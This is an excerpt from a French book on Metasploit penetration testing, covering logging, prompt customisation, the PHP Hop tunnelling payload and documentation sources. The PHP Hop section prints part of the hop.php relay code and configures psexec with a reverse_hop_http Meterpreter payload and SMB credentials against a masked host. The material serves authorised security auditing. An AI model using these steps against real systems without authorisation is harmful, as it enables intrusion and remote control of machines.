Blog ENI : Toute la veille numérique !
Accès illimité 24h/24 à tous nos livres & vidéos ! 
Découvrez la Bibliothèque Numérique ENI. Cliquez ici
Accès illimité 24h/24 à tous nos livres & vidéos ! 
Découvrez la Bibliothèque Numérique ENI. Cliquez ici
  1. Livres et vidéos
  2. Metasploit
  3. Les trucs et astuces
Extrait - Metasploit Testez la sécurité de vos infrastructures (2e edition)
Extraits du livre
Metasploit Testez la sécurité de vos infrastructures (2e edition)
3 avis
Revenir à la page d'achat du livre

Les trucs et astuces

Introduction

La différence entre un auditeur junior et un auditeur confirmé est sans nul doute l’expérience gagnée par ce dernier suite à la réalisation de nombreux audits. Néanmoins, ce n’est pas parce que l’on fait la même chose pendant cinq ans qu’on le fait obligatoirement bien.

En effet, la différence entre les deux auditeurs viendra également de l’utilisation d’une méthodologie claire et efficace (quelles sont les différentes phases d’un test d’intrusion) ainsi que l’utilisation de différentes astuces permettant de gagner du temps.

Garder des traces

Bien que la réalisation de tests d’intrusion soit un métier à part entière et que les consultants soient formés pendant des années à exécuter ces tâches dans les meilleures conditions (incluant la minimisation des risques pour le client), il reste utopique de croire que le risque zéro n’existe pas. Effectivement, les effets de bord au sein de systèmes complexes peuvent arriver malgré l’emploi de toutes les précautions possibles et imaginables.

Afin de garder les traces de l’ensemble des actions effectuées sans avoir à remonter la totalité de la console pour identifier la commande utilisée deux jours plus tôt, le framework Metasploit met à disposition un système de gestion des logs.

La commande show options vue au chapitre Premiers pas avec Metasploit donne l’ensemble des détails relatifs à un module en particulier.

Néanmoins, il est également possible d’exécuter cette commande à l’extérieur d’un module pour afficher les options propres au framework :

msf6 > show options   
Global Options:  
 
===============  
Option            Setting    Description  
------            -------    -----------  ...

Tunner l’invite de commande Metasploit

L’invite de Metasploit est relativement simpliste :

msf6 > 

Au sein de la commande show option, il est possible de modifier le paramètre Prompt afin de disposer d’une invite de commande personnalisée. Plusieurs variables peuvent être utilisées pour la personnalisation :

  • %D     = Dossier courant

  • %H     = Nom d’hôte

  • %J     = Nombre de tâches (jobs) en cours d’exécution

  • %L     = Adresse IP locale

  • %S     = Nombre de sessions ouvertes

  • %T     = Timestamp

  • %U     = Nom d’utilisateur

Ces informations (dossier courant, adresse IP locale) peuvent faire gagner beaucoup de temps, notamment durant l’exploitation d’un reverse shell :

msf6 > set PROMPT %L  
PROMPT => %L 
 
192.168.171.152 > set PROMPT %L - %D  
PROMPT => %L - %D 
 192.168.171.152 - /root > 

Enfin, il est également possible de rajouter un effet visuel grâce à l’affichage en couleur de ces valeurs :

images/19EP01.png

PHP Hop

PHP Hop est un payload permettant de faire transiter l’ensemble des communications à travers une connexion HTTP ou HTTPS (un hop point).

Afin d’exécuter cela, il est nécessaire de déposer le code PHP permettant de réaliser le tunneling au sein d’un serveur web accessible et autorisant l’exécution du PHP. Le code PHP se trouve au sein du framework Metasploit dans le fichier /usr/share/metasploit-framework/data/php/hop.php :

root@kali:~# head /usr/share/metasploit-framework/data/php/hop.php  
<?php  
$magic = 'TzGq';  
$tempdir = sys_get_temp_dir() . "/hop" . $magic;  
if(!is_dir($tempdir)){  
   mkdir($tempdir); //make sure it's there  
}  
 
//get url  
$url = $_SERVER["QUERY_STRING"];  
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr 

Une fois le code PHP mis en place, certains modules permettent l’utilisation de payloads de type reverse_hop_http tel que psexec par exemple :

msf6 > use exploit/windows/smb/psexec  
 
msf6 exploit(windows/smb/psexec) > set PAYLOAD  
windows/meterpreter/reverse_hop_http  
PAYLOAD => windows/meterpreter/reverse_hop_http 
 
msf6 exploit(windows/smb/psexec) > set RHOSTS XX.XX.45.235  
RHOSTS => XX.XX.45.235 
 
msf6 exploit(windows/smb/psexec) > set SMBPass Password  
SMBPass =>...

Lire la documentation

Un énorme travail est réalisé quotidiennement sur le framework Metasploit afin de le rendre le plus accessible et le plus complet possible. Afin de suivre les différents changements, il est nécessaire de lire et relire régulièrement la documentation officielle, accessible à l’adresse suivante : https://metasploit.help.rapid7.com/docs

images/19EP02.png

Bien qu’elle ne soit pas officielle, la documentation proposée par Offensive Security au sein de son projet Metasploit Unleashed est complète et très bien rédigée. Cette documentation est accessible ici : https://www.offensive-security.com/metasploit-unleashed/

images/19EP03.png

De plus, le blog de Rapid7 regorge d’informations intéressantes sur les nouveaux modules et les nouvelles fonctionnalités. Le blog est accessible à l’adresse suivante : https://blog.rapid7.com/tag/metasploit/

images/19EP04.png